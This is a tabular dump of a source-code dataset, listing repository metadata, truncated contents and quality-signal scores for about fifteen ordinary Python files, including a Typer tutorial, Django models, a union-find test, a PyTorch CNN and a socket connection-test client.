hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c70bf8219d2bb2dabd3039c6feeeaba05de046c4 | 1,701 | py | Python | main.py | hasanzadeh99/mapna_test_2021 | 1e2e50a9aff32e2d730bf3d0fd20393e5aea0872 | [
"MIT"
] | null | null | null | main.py | hasanzadeh99/mapna_test_2021 | 1e2e50a9aff32e2d730bf3d0fd20393e5aea0872 | [
"MIT"
] | null | null | null | main.py | hasanzadeh99/mapna_test_2021 | 1e2e50a9aff32e2d730bf3d0fd20393e5aea0872 | [
"MIT"
] | null | null | null | import time
old_input_value = False
flag_falling_edge = None
start = None
flag_output_mask = False
DELAY_CONST = 10 # delay time from falling edge ... .
output = None
def response_function():
global old_input_value, flag_falling_edge, start, flag_output_mask, output
if flag_falling... | 25.772727 | 79 | 0.621399 | 216 | 1,701 | 4.564815 | 0.212963 | 0.233266 | 0.131846 | 0.081136 | 0.43002 | 0.43002 | 0.39858 | 0.348884 | 0.323529 | 0.286004 | 0 | 0.003356 | 0.299236 | 1,701 | 65 | 80 | 26.169231 | 0.823826 | 0.019988 | 0 | 0.317073 | 0 | 0 | 0.139711 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02439 | false | 0 | 0.02439 | 0 | 0.04878 | 0.146341 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c70ef8c2db16a8357afdb58004c2cb5a69fd6d01 | 326 | py | Python | tests/conftest.py | badarsebard/terraform-pytest | 58c8096f0405ec1d0061723fc1dd2d099655c3c5 | [
"MIT"
] | null | null | null | tests/conftest.py | badarsebard/terraform-pytest | 58c8096f0405ec1d0061723fc1dd2d099655c3c5 | [
"MIT"
] | null | null | null | tests/conftest.py | badarsebard/terraform-pytest | 58c8096f0405ec1d0061723fc1dd2d099655c3c5 | [
"MIT"
] | 1 | 2021-11-19T16:36:31.000Z | 2021-11-19T16:36:31.000Z | from .terraform import TerraformManager
import pytest
from _pytest.tmpdir import TempPathFactory
@pytest.fixture(scope='session')
def tfenv(tmp_path_factory: TempPathFactory):
env_vars = {
}
with TerraformManager(path_factory=tmp_path_factory, env_vars=env_vars) as deployment:
yield deplo... | 25.076923 | 90 | 0.760736 | 38 | 326 | 6.289474 | 0.552632 | 0.138075 | 0.117155 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171779 | 326 | 12 | 91 | 27.166667 | 0.885185 | 0 | 0 | 0 | 0 | 0 | 0.021472 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c71481b1ca69523b36b0345fe995b27fb6d37535 | 2,533 | py | Python | pythoncode/kmeansimage.py | loganpadon/PokemonOneShot | 22f9904250c8c90b4fe4573d6ca060fd9f95c1d3 | [
"MIT"
] | null | null | null | pythoncode/kmeansimage.py | loganpadon/PokemonOneShot | 22f9904250c8c90b4fe4573d6ca060fd9f95c1d3 | [
"MIT"
] | 1 | 2019-04-04T20:40:20.000Z | 2019-04-04T20:40:20.000Z | pythoncode/kmeansimage.py | loganpadon/PokemonOneShot | 22f9904250c8c90b4fe4573d6ca060fd9f95c1d3 | [
"MIT"
] | null | null | null | # import the necessary packages
from sklearn.cluster import KMeans
import skimage
import matplotlib.pyplot as plt
import argparse
import cv2
def mean_image(image,clt):
image2=image
for x in range(len(image2)):
classes=clt.predict(image2[x])
for y in range(len(classes)):
image2[x,y]=clt.cluster_cen... | 28.460674 | 78 | 0.696802 | 378 | 2,533 | 4.621693 | 0.367725 | 0.013738 | 0.022324 | 0.027476 | 0.048082 | 0.048082 | 0.048082 | 0 | 0 | 0 | 0 | 0.023301 | 0.186735 | 2,533 | 88 | 79 | 28.784091 | 0.824757 | 0.281484 | 0 | 0.140351 | 0 | 0 | 0.04851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.122807 | null | null | 0.035088 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c717ca8a8d1e158509ebb8f364af201eeca89e64 | 296 | py | Python | docs_src/options/callback/tutorial001.py | madkinsz/typer | a1520dcda685220a9a796288f5eaaebd00d68845 | [
"MIT"
] | 7,615 | 2019-12-24T13:08:20.000Z | 2022-03-31T22:07:53.000Z | docs_src/options/callback/tutorial001.py | madkinsz/typer | a1520dcda685220a9a796288f5eaaebd00d68845 | [
"MIT"
] | 351 | 2019-12-24T22:17:54.000Z | 2022-03-31T15:35:08.000Z | docs_src/options/callback/tutorial001.py | jina-ai/typer | 8b5e14b25ddf0dd777403015883301b17bedcee0 | [
"MIT"
] | 360 | 2019-12-24T15:29:59.000Z | 2022-03-30T20:33:10.000Z | import typer
def name_callback(value: str):
if value != "Camila":
raise typer.BadParameter("Only Camila is allowed")
return value
def main(name: str = typer.Option(..., callback=name_callback)):
typer.echo(f"Hello {name}")
if __name__ == "__main__":
typer.run(main)
| 18.5 | 64 | 0.658784 | 39 | 296 | 4.74359 | 0.538462 | 0.12973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199324 | 296 | 15 | 65 | 19.733333 | 0.780591 | 0 | 0 | 0 | 0 | 0 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c719c2fbf99902f8dda33cce99ae748883db934d | 3,276 | py | Python | qft-client-py2.py | bocajspear1/qft | 7a8f3bb5d24bf173489dc4ad6159021e9365e9c4 | [
"MIT"
] | null | null | null | qft-client-py2.py | bocajspear1/qft | 7a8f3bb5d24bf173489dc4ad6159021e9365e9c4 | [
"MIT"
] | null | null | null | qft-client-py2.py | bocajspear1/qft | 7a8f3bb5d24bf173489dc4ad6159021e9365e9c4 | [
"MIT"
] | null | null | null | import socket
import threading
from time import sleep
from threading import Thread
import json
import sys
def display_test(address, port,text_result, test):
if (text_result == "QFT_SUCCESS" and test == True) or (text_result != "QFT_SUCCESS" and test == False):
# Test is correct
... | 30.616822 | 108 | 0.514042 | 387 | 3,276 | 4.268734 | 0.30491 | 0.066586 | 0.065375 | 0.079903 | 0.423123 | 0.407385 | 0.312954 | 0.2954 | 0.2954 | 0.197337 | 0 | 0.011225 | 0.347375 | 3,276 | 106 | 109 | 30.90566 | 0.761459 | 0.01862 | 0 | 0.28169 | 0 | 0 | 0.175845 | 0.019002 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.014085 | 0.084507 | null | null | 0.140845 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c71ef3a9007aa0aebc08a606ded35bff47c69406 | 242 | py | Python | cnn/struct/layer/parse_tensor_module.py | hslee1539/GIS_GANs | 6901c830b924e59fd06247247db3f925bab26583 | [
"MIT"
] | null | null | null | cnn/struct/layer/parse_tensor_module.py | hslee1539/GIS_GANs | 6901c830b924e59fd06247247db3f925bab26583 | [
"MIT"
] | null | null | null | cnn/struct/layer/parse_tensor_module.py | hslee1539/GIS_GANs | 6901c830b924e59fd06247247db3f925bab26583 | [
"MIT"
] | null | null | null | from tensor.main_module import Tensor
import numpy as np
def getTensor(value):
if type(value) is np.ndarray:
return Tensor.numpy2Tensor(value)
elif type(value) is Tensor:
return value
else:
raise Exception | 24.2 | 41 | 0.68595 | 33 | 242 | 5 | 0.636364 | 0.109091 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005525 | 0.252066 | 242 | 10 | 42 | 24.2 | 0.906077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c72423d0c9647d3f45e1ae401dca8a26496518f2 | 265 | py | Python | HackerRank/Calendar Module/solution.py | nikku1234/Code-Practise | 94eb6680ea36efd10856c377000219285f77e5a4 | [
"Apache-2.0"
] | 9 | 2020-07-02T06:06:17.000Z | 2022-02-26T11:08:09.000Z | HackerRank/Calendar Module/solution.py | nikku1234/Code-Practise | 94eb6680ea36efd10856c377000219285f77e5a4 | [
"Apache-2.0"
] | 1 | 2021-11-04T17:26:36.000Z | 2021-11-04T17:26:36.000Z | HackerRank/Calendar Module/solution.py | nikku1234/Code-Practise | 94eb6680ea36efd10856c377000219285f77e5a4 | [
"Apache-2.0"
] | 8 | 2021-01-31T10:31:12.000Z | 2022-03-13T09:15:55.000Z | # Enter your code here. Read input from STDIN. Print output to STDOUT
import calendar
mm,dd,yyyy = map(int,input().split())
day = ["MONDAY","TUESDAY","WEDNESDAY","THURSDAY","FRIDAY","SATURDAY","SUNDAY"]
val = int (calendar.weekday(yyyy,mm,dd))
print(day[val])
| 22.083333 | 78 | 0.698113 | 39 | 265 | 4.74359 | 0.769231 | 0.043243 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116981 | 265 | 11 | 79 | 24.090909 | 0.790598 | 0.25283 | 0 | 0 | 0 | 0 | 0.25641 | 0 | 0 | 0 | 0 | 0.090909 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7245a8913ae3a1c31f00b1392df9f4dd3d991e9 | 7,560 | py | Python | scale/trigger/models.py | stevevarner/scale | 9623b261db4ddcf770f00df16afc91176142bb7c | [
"Apache-2.0"
] | null | null | null | scale/trigger/models.py | stevevarner/scale | 9623b261db4ddcf770f00df16afc91176142bb7c | [
"Apache-2.0"
] | null | null | null | scale/trigger/models.py | stevevarner/scale | 9623b261db4ddcf770f00df16afc91176142bb7c | [
"Apache-2.0"
] | null | null | null | """Defines the models for trigger rules and events"""
from __future__ import unicode_literals
import django.contrib.postgres.fields
from django.db import models, transaction
from django.utils.timezone import now
class TriggerEventManager(models.Manager):
"""Provides additional methods for handling trigger events... | 38.769231 | 120 | 0.693783 | 958 | 7,560 | 5.399791 | 0.178497 | 0.055287 | 0.022617 | 0.033056 | 0.313938 | 0.268123 | 0.246279 | 0.1734 | 0.096656 | 0.060313 | 0 | 0.001027 | 0.227116 | 7,560 | 194 | 121 | 38.969072 | 0.884306 | 0.533598 | 0 | 0.060606 | 0 | 0 | 0.072185 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.075758 | 0 | 0.530303 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c724c503b44eb473d695fa13f0446956650e0c2b | 987 | py | Python | barriers/models/history/assessments/economic_impact.py | felix781/market-access-python-frontend | 3b0e49feb4fdf0224816326938a46002aa4a2b1c | [
"MIT"
] | 1 | 2021-12-15T04:14:03.000Z | 2021-12-15T04:14:03.000Z | barriers/models/history/assessments/economic_impact.py | felix781/market-access-python-frontend | 3b0e49feb4fdf0224816326938a46002aa4a2b1c | [
"MIT"
] | 19 | 2019-12-11T11:32:47.000Z | 2022-03-29T15:40:57.000Z | barriers/models/history/assessments/economic_impact.py | felix781/market-access-python-frontend | 3b0e49feb4fdf0224816326938a46002aa4a2b1c | [
"MIT"
] | 2 | 2021-02-09T09:38:45.000Z | 2021-03-29T19:07:09.000Z | from ..base import BaseHistoryItem, GenericHistoryItem
from ..utils import PolymorphicBase
class ArchivedHistoryItem(BaseHistoryItem):
field = "archived"
field_name = "Valuation assessment: Archived"
def get_value(self, value):
if value is True:
return "Archived"
elif value is... | 24.675 | 59 | 0.68997 | 85 | 987 | 7.905882 | 0.435294 | 0.089286 | 0.080357 | 0.125 | 0.080357 | 0.080357 | 0.080357 | 0 | 0 | 0 | 0 | 0 | 0.235056 | 987 | 39 | 60 | 25.307692 | 0.890066 | 0 | 0 | 0.068966 | 0 | 0 | 0.171226 | 0.026342 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.068966 | 0 | 0.758621 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c727467c9c5f9cbcf49804ff4103bf27f2140c3f | 1,504 | py | Python | botorch/acquisition/__init__.py | jmren168/botorch | 6c067185f56d3a244c4093393b8a97388fb1c0b3 | [
"MIT"
] | 1 | 2020-03-29T20:06:45.000Z | 2020-03-29T20:06:45.000Z | botorch/acquisition/__init__.py | jmren168/botorch | 6c067185f56d3a244c4093393b8a97388fb1c0b3 | [
"MIT"
] | null | null | null | botorch/acquisition/__init__.py | jmren168/botorch | 6c067185f56d3a244c4093393b8a97388fb1c0b3 | [
"MIT"
] | 1 | 2020-03-29T20:06:48.000Z | 2020-03-29T20:06:48.000Z | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from .acquisition import AcquisitionFunction
from .analytic import (
AnalyticAcquisitionFunction,
ConstrainedExpectedImprovement,
ExpectedImprovement,
NoisyExpectedImprovement,
PosteriorMean,
Probabil... | 25.491525 | 70 | 0.757979 | 83 | 1,504 | 13.614458 | 0.566265 | 0.100885 | 0.134513 | 0.143363 | 0.184071 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000799 | 0.168218 | 1,504 | 58 | 71 | 25.931034 | 0.902478 | 0.05984 | 0 | 0 | 0 | 0 | 0.334986 | 0.209632 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.115385 | 0 | 0.115385 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c72d167470fc1e484c9ed6ee92db56b541a26d0c | 3,216 | py | Python | edivorce/apps/core/views/graphql.py | gerritvdm/eDivorce | e3c0a4037a7141769250b96df6cc4eb4ea5ef3af | [
"Apache-2.0"
] | 6 | 2017-03-24T18:20:33.000Z | 2021-01-29T03:25:07.000Z | edivorce/apps/core/views/graphql.py | gerritvdm/eDivorce | e3c0a4037a7141769250b96df6cc4eb4ea5ef3af | [
"Apache-2.0"
] | 13 | 2018-10-12T17:20:37.000Z | 2021-11-05T23:13:21.000Z | edivorce/apps/core/views/graphql.py | gerritvdm/eDivorce | e3c0a4037a7141769250b96df6cc4eb4ea5ef3af | [
"Apache-2.0"
] | 11 | 2017-03-15T12:36:39.000Z | 2021-03-05T14:35:59.000Z | import graphene
import graphene_django
from django.http import HttpResponseForbidden
from graphene_django.views import GraphQLView
from graphql import GraphQLError
from edivorce.apps.core.models import Document
class PrivateGraphQLView(GraphQLView):
def dispatch(self, request, *args, **kwargs):
if not re... | 36.545455 | 135 | 0.668221 | 370 | 3,216 | 5.716216 | 0.335135 | 0.04539 | 0.025532 | 0.036879 | 0.104019 | 0.104019 | 0.104019 | 0.104019 | 0.061466 | 0.061466 | 0 | 0.007549 | 0.217351 | 3,216 | 87 | 136 | 36.965517 | 0.832737 | 0 | 0 | 0 | 0 | 0 | 0.091418 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046875 | false | 0 | 0.09375 | 0 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c73caaa0e2719e60ad785aecaaee84cf63518c02 | 1,497 | py | Python | tests/test_path_choice.py | jataware/flee | 67c00c4572e71dd2bbfb390d7d7ede13ffb9594e | [
"BSD-3-Clause"
] | 3 | 2021-05-24T14:07:48.000Z | 2022-01-10T03:20:36.000Z | tests/test_path_choice.py | jataware/flee | 67c00c4572e71dd2bbfb390d7d7ede13ffb9594e | [
"BSD-3-Clause"
] | 15 | 2020-06-05T11:42:23.000Z | 2022-03-09T20:17:29.000Z | tests/test_path_choice.py | jataware/flee | 67c00c4572e71dd2bbfb390d7d7ede13ffb9594e | [
"BSD-3-Clause"
] | 3 | 2020-05-29T15:10:28.000Z | 2022-03-09T19:51:41.000Z | from flee import flee
"""
Generation 1 code. Incorporates only distance, travel always takes one day.
"""
def test_path_choice():
print("Testing basic data handling and simulation kernel.")
flee.SimulationSettings.MinMoveSpeed = 5000.0
flee.SimulationSettings.MaxMoveSpeed = 5000.0
flee.SimulationSet... | 33.266667 | 75 | 0.663327 | 210 | 1,497 | 4.642857 | 0.285714 | 0.028718 | 0.213333 | 0.093333 | 0.565128 | 0.565128 | 0.443077 | 0.075897 | 0 | 0 | 0 | 0.078025 | 0.160989 | 1,497 | 44 | 76 | 34.022727 | 0.698248 | 0.183033 | 0 | 0 | 0 | 0 | 0.093557 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.083333 | 0.083333 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c746b2ee9cd86b479c95bc6e51b1c40a08b1d7da | 2,162 | py | Python | algorithms/tests/test_unionfind.py | tommyod/PythonAlgorithms | f0a0f67be069fc9e9fa3027ed83942d6401223fe | [
"MIT"
] | 1 | 2021-08-23T17:15:06.000Z | 2021-08-23T17:15:06.000Z | algorithms/tests/test_unionfind.py | tommyod/PythonAlgorithms | f0a0f67be069fc9e9fa3027ed83942d6401223fe | [
"MIT"
] | 1 | 2018-05-02T17:29:42.000Z | 2018-05-02T17:31:18.000Z | algorithms/tests/test_unionfind.py | tommyod/PythonAlgorithms | f0a0f67be069fc9e9fa3027ed83942d6401223fe | [
"MIT"
] | 1 | 2018-05-02T12:31:52.000Z | 2018-05-02T12:31:52.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Tests for the union find data structure.
"""
try:
from ..unionfind import UnionFind
except ValueError:
pass
def test_unionfind_basics():
"""
Test the basic properties of unionfind.
"""
u = UnionFind([1, 2, 3])
assert u.in_same_set(1,... | 21.62 | 68 | 0.584181 | 345 | 2,162 | 3.498551 | 0.286957 | 0.037283 | 0.086993 | 0.124275 | 0.277548 | 0.264292 | 0.218724 | 0.192212 | 0.192212 | 0.192212 | 0 | 0.04984 | 0.276133 | 2,162 | 100 | 69 | 21.62 | 0.721406 | 0.191952 | 0 | 0.163265 | 0 | 0 | 0.018663 | 0 | 0 | 0 | 0 | 0 | 0.408163 | 1 | 0.102041 | false | 0.020408 | 0.040816 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7477304b232543e959b4e41d7f4db3d8d55814b | 334 | py | Python | products/migrations/0010_remove_product_updated_at.py | UB-ES-2021-A1/wannasell-backend | 84360b2985fc28971867601373697f39303e396b | [
"Unlicense"
] | null | null | null | products/migrations/0010_remove_product_updated_at.py | UB-ES-2021-A1/wannasell-backend | 84360b2985fc28971867601373697f39303e396b | [
"Unlicense"
] | 62 | 2021-11-22T21:52:44.000Z | 2021-12-17T15:07:02.000Z | products/migrations/0010_remove_product_updated_at.py | UB-ES-2021-A1/wannasell-backend | 84360b2985fc28971867601373697f39303e396b | [
"Unlicense"
] | null | null | null | # Generated by Django 3.2.8 on 2021-11-25 17:50
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('products', '0009_auto_20211125_1846'),
]
operations = [
migrations.RemoveField(
model_name='product',
name='updated_at',
... | 18.555556 | 48 | 0.598802 | 36 | 334 | 5.416667 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130802 | 0.290419 | 334 | 17 | 49 | 19.647059 | 0.691983 | 0.134731 | 0 | 0 | 1 | 0 | 0.167247 | 0.080139 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7511256bf0b0f8d7c0f1ccc084e2e9144ad8ab3 | 2,948 | py | Python | sample_architectures/cnn.py | hvarS/PyTorch-Refer | 020445e3ae1f3627f39e1ab957cdff44a2127289 | [
"MIT"
] | null | null | null | sample_architectures/cnn.py | hvarS/PyTorch-Refer | 020445e3ae1f3627f39e1ab957cdff44a2127289 | [
"MIT"
] | null | null | null | sample_architectures/cnn.py | hvarS/PyTorch-Refer | 020445e3ae1f3627f39e1ab957cdff44a2127289 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""CNN.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1Tq6HUya2PrC0SmyOIFo2c_eVtguRED2q
"""
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.utils.data import DataL... | 28.07619 | 128 | 0.700136 | 439 | 2,948 | 4.569476 | 0.328018 | 0.006979 | 0.012961 | 0.013958 | 0.181456 | 0.131605 | 0.108674 | 0.067797 | 0.067797 | 0.067797 | 0 | 0.035251 | 0.162822 | 2,948 | 104 | 129 | 28.346154 | 0.777553 | 0.097693 | 0 | 0 | 1 | 0.014493 | 0.069109 | 0.028323 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.101449 | 0 | 0.173913 | 0.057971 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
